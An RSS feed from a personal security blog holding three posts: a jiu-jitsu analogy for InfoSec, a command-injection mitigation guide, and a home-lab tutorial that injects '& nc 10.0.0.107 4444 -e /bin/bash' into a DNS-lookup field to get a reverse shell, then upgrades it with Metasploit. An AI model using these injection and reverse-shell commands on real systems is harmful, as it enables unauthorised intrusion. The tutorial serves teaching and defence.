<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[null]]></title><description><![CDATA[null]]></description><link>https://playingwithpackets.com/</link><image><url>https://playingwithpackets.com/favicon.png</url><title>null</title><link>https://playingwithpackets.com/</link></image><generator>Ghost 3.12</generator><lastBuildDate>Wed, 18 Aug 2021 00:37:34 GMT</lastBuildDate><atom:link href="https://playingwithpackets.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Series: Brazilian Jiu-Jitsu and InfoSec]]></title><description><![CDATA[<p>Lately, I have been thinking a lot about the various parallels between Brazilian Jiu-Jitsu and Information Security. I think this is a result of not being able to train on the mats since Covid has altered the way we live. Even though I began to train jiu-jitsu last year, I</p>]]></description><link>https://playingwithpackets.com/series-brazilian-jiu-jitsu-and-infosec/</link><guid isPermaLink="false">5fb0305376336725d409aadc</guid><dc:creator><![CDATA[Tyler Bohlmann]]></dc:creator><pubDate>Tue, 24 Nov 2020 02:16:55 GMT</pubDate><content:encoded><![CDATA[<p>Lately, I have been thinking a lot about the various parallels between Brazilian Jiu-Jitsu and Information Security. I think this is a result of not being able to train on the mats since Covid has altered the way we live. Even though I began to train jiu-jitsu last year, I have developed a passion for it. It's extremely difficult to master since it goes against conventional thinking. A bigger and stronger person can be dominated by someone who is smaller and weaker. The "lesser" person can even do so off of their back, a position that most would think is disadvantageous. In this series, I will discuss how we can use jiu-jitsu as a tool to better understand the abstract world of InfoSec. </p><figure class="kg-card kg-image-card"><img src="https://playingwithpackets.com/content/images/2020/11/bjj.jpg" class="kg-image"></figure><!--kg-card-begin: markdown--><h2 id="sowhybjjandinfosec">So why BJJ and InfoSec?</h2>
<h4 id="chrissandersinvestigationtheory"><strong>Chris Sanders - Investigation Theory</strong></h4>
<p>Last year, I had the pleasure of taking a class called, &quot;<a href="https://chrissanders.org/training/investigationtheory/">Investigation Theory</a>&quot;, which is instructed by Chris Sanders. The main objective of the class is how to think through a security investigation with the available data sources you have access to, knowing how to pivot off of those data sources, and how to limit your own biases. What stood out to me was the section on metacognition; the awareness of one's thinking or learning processes. To dive further into this, I read one of the books Chris recommends called, &quot;<a href="https://www.amazon.com/Make-Stick-Science-Successful-Learning/dp/0674729013">Make It Stick</a>.&quot; In the book, there is a memorization technique called, &quot;Memory Palace.&quot; Essentially, it's a method which &quot;involves storing information in the form of associative images in our minds. We then store these images in a virtual location in our mind, such as your house, street, school, etc. When we walk through this virtual location, we can work out the information from the images stored there.&quot; I'll go over this in more depth in another blog post.</p>
<h4 id="timmalcomvetterandjeremiahgrossman"><strong>Tim MalcomVetter and Jeremiah Grossman</strong></h4>
<p>I wanted to add to the conversation that Tim and Jeremiah had already started. I stumbled across Tim's <a href="https://medium.com/@malcomvetter/infosec-vs-jiu-jitsu-6e2ac34f035a">blog</a> earlier this year and immediately gravitated towards his approach to the two subjects. Running the Red Team for a Fortune 1, I know Tim brings a lot to the table when discussing both of these subjects. I'm excited and eager to learn more from him. <a href="https://www.jeremiahgrossman.com/#about">Jeremiah</a> created the Brazilian Jiu-Jitsu Smackdown which is an invite-only event where computer security professionals from all over the world collaborate and train Jiu-Jitsu. He's been in the industry for over 20 years and is a black belt in BJJ as well.</p>
<h4 id="makeinfosecconceptstangible"><strong>Make InfoSec concepts tangible</strong></h4>
<p>Often times, when I think of a security concept, it's difficult for me to visualize in my mind. In order to understand it, I have to spin up a virtual lab and walk through it step by step myself in order to see what exactly is happening. Since there are many analogies between InfoSec and jiu-jitsu I think BJJ can bridge the gap to make security concepts easily understood by all, especially non-technical audiences. Below you'll find a few topics that are relevant in both disciplines.</p>
<p><img src="https://playingwithpackets.com/content/images/2020/11/Screen-Shot-2020-11-24-at-12.56.48-PM.png" alt="Screen-Shot-2020-11-24-at-12.56.48-PM"></p>
<p>Feel free to sub jiu-jitsu for another sport or activity that has a similar offense-defense strategy. The goal of this series is to think of InfoSec concepts in a different way that resonates with the reader on a personal level.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Command Injection mitigation]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Hey guys! It's been a few months since my last article, but here is my follow up post describing how to defend against Command Injection. We know that this vulnerability is a result of poor coding practices. In order to prevent system commands being passed from the web application to</p>]]></description><link>https://playingwithpackets.com/command-injection-mitigation/</link><guid isPermaLink="false">5bd50e68f3243d070b3719eb</guid><dc:creator><![CDATA[Tyler Bohlmann]]></dc:creator><pubDate>Mon, 03 Dec 2018 02:25:16 GMT</pubDate><media:content url="https://playingwithpackets.com/content/images/2018/12/iconfinder_window_screen_lock_icon_2541667--1-.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://playingwithpackets.com/content/images/2018/12/iconfinder_window_screen_lock_icon_2541667--1-.png" alt="Command Injection mitigation"><p>Hey guys! It's been a few months since my last article, but here is my follow up post describing how to defend against Command Injection. We know that this vulnerability is a result of poor coding practices. In order to prevent system commands being passed from the web application to the operating system we can implement a few things: input validation, least privilege and web shell detection.</p>
<h2 id="inputvalidation">Input validation</h2>
<p>Input validation is the verification of user data before it is passed through an application. This process ensures that a user can only input a limited range of data. One common way is to create a white-list of commands that have been pre-approved that should only be used with that application. Another strategy is to define a list of regular expressions that are allowed to be used in the application. Since we know only domain names should be used we can apply a regular expressions list similar to this <code>/a-zA-Z0-9/</code>. This allows only lowercase and uppercase letters A through Z as well as numbers 0 through 9 to be acceptable as user input.</p>
<h2 id="leastprivilege">Least privilege</h2>
<p>The principle of least privilege is when a user of a computer system possesses the bare minimum functions to perform their necessary tasks. For example, a regular user on a Windows system should not have the ability to open a command prompt with administrative privileges; only a System or Network Administrator should because that is what their job entails. For this web application the <code>www-data</code> user should have not be allowed to execute system commands. Alternatively, you could white-list a single system command (<code>nslookup</code>) since that is the only function of the web application. All other system commands should be blocked in order to reduce the attack surface.</p>
<h2 id="webshelldetection">Web Shell Detection</h2>
<p>One strategy to detect web shells on your web server would be File Integrity Monitoring (FIM). FIM is a security control establishes a baseline of specific files on the system and then looks for any deviation from that baseline. Security teams will be alerted on any anomalies and can be further analyzed to see if any malicious activity is present or not. SANS has compiled a <a href="https://isc.sans.edu/forums/diary/What+to+watch+with+your+FIM/20897/">list</a> of file paths for both UNIX and Windows systems where you can deploy FIM.</p>
<p>One final thing to look for is suspicious shell commands. If you're employing least privilege techniques then it would be strange to see users on a web server running <code>cat /etc/passwd</code> or <code>cat /etc/shadow</code> conducting password reconnaissance. To understand what commands to look for, Mubix has a list of post-exploitation commands for Linux <a href="https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List#system">here</a>.</p>
<h2 id="resources">Resources</h2>
<ul>
<li><a href="https://slideblast.com/web-application-security_595cab5b1723dd3a9a92cf53.html">https://slideblast.com/web-application-security_595cab5b1723dd3a9a92cf53.html</a></li>
<li><a href="https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet">https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet</a></li>
<li><a href="https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection">https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection</a></li>
<li><a href="https://www.us-cert.gov/ncas/alerts/TA15-314A">https://www.us-cert.gov/ncas/alerts/TA15-314A</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Reverse Shell via Command Injection]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Hello Internet! I was first introduced to the command injection vulnerability when I took <a href="http://lethalsecurity.com/">Peter Kim's</a> Ethical Hacking 101 class last year in November. Prior to this I wasn't too familiar with web application vulnerabilities so I thought I would write about it to enhance my understanding.</p>
<h2 id="thesetup">The Setup</h2>
<p><img src="https://playingwithpackets.com/content/images/2018/05/MUL.PNG" alt="MUL"><br>
I</p>]]></description><link>https://playingwithpackets.com/commandinjection/</link><guid isPermaLink="false">5ade93be0e7c9608b51bb2c8</guid><dc:creator><![CDATA[Tyler Bohlmann]]></dc:creator><pubDate>Sat, 16 Jun 2018 04:09:00 GMT</pubDate><media:content url="https://playingwithpackets.com/content/images/2018/04/22724469359_e9915d0da4_b.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://playingwithpackets.com/content/images/2018/04/22724469359_e9915d0da4_b.jpg" alt="Reverse Shell via Command Injection"><p>Hello Internet! I was first introduced to the command injection vulnerability when I took <a href="http://lethalsecurity.com/">Peter Kim's</a> Ethical Hacking 101 class last year in November. Prior to this I wasn't too familiar with web application vulnerabilities so I thought I would write about it to enhance my understanding.</p>
<h2 id="thesetup">The Setup</h2>
<p><img src="https://playingwithpackets.com/content/images/2018/05/MUL.PNG" alt="Reverse Shell via Command Injection"><br>
I wanted to setup the infrastructure to replicate a real world scenario as much as possible. Instead of putting all devices on the same network segment, I used <a href="https://www.pfsense.org/">PfSense</a> to create two networks; 10.0.0.0/24 and 192.168.1.0/24. The attacker will use the WAN IP of 10.0.0.109 to access the <a href="https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project">Mutillidae</a> web application which is on the internal LAN IP of 192.168.1.101. This configuration mimics most web servers since they use port forwarding in order for users to access their services over the Internet.</p>
<h2 id="discovery">Discovery</h2>
<p>We will use Nmap to perform some reconnaissance on our target to see what services are running and what ports are open.</p>
<p>Open up a terminal and enter the following: <code>nmap -sV -O -v 10.0.0.109 </code></p>
<p>The <code>-sV</code> switch will see what services/ports are running, the <code>-O</code> switch will detect what OS is running and the <code>-v</code> switch enables verbosity which provides more output information. From our results we can see that port 80(http) is open, using Apache as the web server, and Linux as the OS.<br>
<img src="https://playingwithpackets.com/content/images/2018/05/nmap1-2.png" alt="Reverse Shell via Command Injection"><br>
Let's see what it looks like through a web browser.<br>
<img src="https://playingwithpackets.com/content/images/2018/05/metasploitable2.PNG" alt="Reverse Shell via Command Injection"><br>
Since we already know we'll be using Mutillidae we can go ahead and navigate to the DNS Lookup web application.<br>
<img src="https://playingwithpackets.com/content/images/2018/05/dns.PNG" alt="Reverse Shell via Command Injection"></p>
<h2 id="testing">Testing</h2>
<p>The way this web application works is by passing on the command from the web application to the OS of the server it being hosted on. Without proper sanitization or input validation, arbitrary OS commands can be executed by anyone over the Internet. Vulnerabilities like this increase the attack surface and serves as another entry point into someone's network. Let's see what happens when we type an IP address in the web application.</p>
<p><img src="https://playingwithpackets.com/content/images/2018/05/dns1.PNG" alt="Reverse Shell via Command Injection"><br>
We can see that the IP 8.8.8.8 is resolved to one of Google's DNS servers.</p>
<p>There are a few ways to test for OS command injection. We can use metacharacters which are special characters that hold a specific meaning within the context of a computer program. Let's try using <code>&amp;</code> which 	separates multiple commands on one command line.</p>
<p><img src="https://playingwithpackets.com/content/images/2018/05/netstat-2.PNG" alt="Reverse Shell via Command Injection"><br>
After inputting <code> 8.8.8.8 &amp; netstat</code> the IP address is resolved again as well the netstat command which returned a list of active network connections on the web server. Let's keep digging to see what else we can find.</p>
<p><img src="https://playingwithpackets.com/content/images/2018/05/ls.PNG" alt="Reverse Shell via Command Injection"><br>
<img src="https://playingwithpackets.com/content/images/2018/05/ls1.PNG" alt="Reverse Shell via Command Injection"><br>
Awesome, after resolving the IP address it displays the current file directory as well!</p>
<h2 id="reverseshell">Reverse Shell</h2>
<p>Since we know the web server reaches out to the Internet in order resolve IP addresses to domain names we can infer that there are no egress firewall rules blocking any traffic leaving the internal. Let's try to get a reverse shell connecting back to our Kali box. A reverse shell is when you use the victim's machine to establish a connection to the attacking machine, commonly used to bypass firewalls. To accomplish this task we can utilize the &quot;swiss army knife of hacking tools,&quot; netcat. Netcat can communicate over network connections using TCP or UDP protocols, be used as a network scanner, a proxy, and as a backdoor into a computer.</p>
<p>In order to setup a reverse shell using netcat we will setup a listener on our Kali box using this command: <code> nc -lvp 4444</code></p>
<p><img src="https://playingwithpackets.com/content/images/2018/06/nc1-1.PNG" alt="Reverse Shell via Command Injection"><br>
The <code> nc</code> initiates the netcat command, switches <code> -lvp</code> indicate &quot;listen&quot; mode, &quot;verbose&quot; mode and which &quot;port&quot; to listen on.</p>
<p>Now, on the vulnerable web server application we will input the following command: <code>&amp; nc 10.0.0.107 4444 -e /bin/bash</code></p>
<p><img src="https://playingwithpackets.com/content/images/2018/06/dns2-1.PNG" alt="Reverse Shell via Command Injection"><br>
The <code> &amp;</code> is the command separator, <code> nc</code> is the netcat command, <code> 10.0.0.107</code> is the IP of the Kali box, <code> 4444</code> is the port the Kali box is listening on for the reverse shell, and <code> -e /bin/bash</code> indicates to execute a bash shell.</p>
<p><img src="https://playingwithpackets.com/content/images/2018/06/revsh1.PNG" alt="Reverse Shell via Command Injection"><br>
Back at our Kali box we can see that we have an active connection from our netcat listener. We execute the <code> ls</code> command and it displays the same working directory that we saw earlier on vulnerable web application. We now have an active shell connection from the web server to our Kali box!</p>
<h2 id="bonusupgradetometerpretershell">Bonus: Upgrade to Meterpreter Shell</h2>
<p>Now that we have confirmed we can obtain a shell on our target; we can upgrade our current shell to a more feature rich Meterpreter shell using Meatsploit. Metasploit is an exploitation framework that has a variety of tools built into it. This is where  you can start thinking about lateral movement and maintaining persistence within the network. Think of it as a set of Lego blocks where you can build your own exploits depending on the environment you are in.</p>
<p>Fire up metasploit with the <code> msfconsole</code> command.<br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf1-1.PNG" alt="Reverse Shell via Command Injection"></p>
<p>Let's use the <code> use exploit/multi/handler</code> exploit.<br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf2-1.PNG" alt="Reverse Shell via Command Injection"></p>
<p>We will set the listening IP to our Kali box: <code> set LHOST 10.0.0.107</code> and the listening port to 4444: <code> set LPORT 4444</code><br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf3-1.PNG" alt="Reverse Shell via Command Injection"></p>
<p>We'll use the <code> set payload linux/x86/shell/reverse_tcp</code> payload<br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf4.PNG" alt="Reverse Shell via Command Injection"></p>
<p>Now enter <code> run</code> to execute our listener. This is the same thing we did before with netcat except we are using the Metasploit framework.<br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf5.PNG" alt="Reverse Shell via Command Injection"></p>
<p>We execute the same netcat command on the web application we did earlier <code> &amp; nc 10.0.0.107 4444 -e /bin/bash</code><br>
<img src="https://playingwithpackets.com/content/images/2018/06/dns2-1.PNG" alt="Reverse Shell via Command Injection"></p>
<p>We now have an active reverse shell connection again<br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf6.PNG" alt="Reverse Shell via Command Injection"></p>
<p>Enter <code> Ctl + z</code> to put the current shell connection in the background and to get back to the msfconsole command line<br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf7.PNG" alt="Reverse Shell via Command Injection"></p>
<p>Let's upgrade the current shell to a Meterpreter shell using <code> sessions -u 1</code><br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf8.PNG" alt="Reverse Shell via Command Injection"></p>
<p>To use our new Meterpreter shell enter <code> sessions -i 2</code><br>
<img src="https://playingwithpackets.com/content/images/2018/06/msf9.PNG" alt="Reverse Shell via Command Injection"></p>
<h2 id="recap">Recap</h2>
<p>I know this probably sounds a bit foreign to anyone who is not too familiar with hacking concepts, myself included. Let's break down what we accomplished.</p>
<ul>
<li>Performed information gathering on the target system using Nmap</li>
<li>Discovered that it has a web server running on port 80</li>
<li>Accessed the web application via web browser</li>
<li>Did some basic testing for OS command injection on the web application</li>
<li>Determined web application is vulnerable to running arbitrary commands on system</li>
<li>Was able to establish a reverse shell connection from web server to my Kali box</li>
<li>Was able to upgrade reverse shell to Meterpreter shell</li>
<li>Can now think about maintaining persistence, lateral movement and further exploitation on other systems within the network</li>
</ul>
<h2 id="resources">Resources</h2>
<ul>
<li><a href="https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf">https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf</a></li>
<li><a href="https://www.sans.org/reading-room/whitepapers/covert/inside-out-vulnerabilities-reverse-shells-1663">https://www.sans.org/reading-room/whitepapers/covert/inside-out-vulnerabilities-reverse-shells-1663</a></li>
<li><a href="https://www.owasp.org/index.php/Command_Injection">https://www.owasp.org/index.php/Command_Injection</a></li>
<li><a href="https://www.hackingtutorials.org/networking/upgrading-netcat-shells-to-meterpreter/">https://www.hackingtutorials.org/networking/upgrading-netcat-shells-to-meterpreter/</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>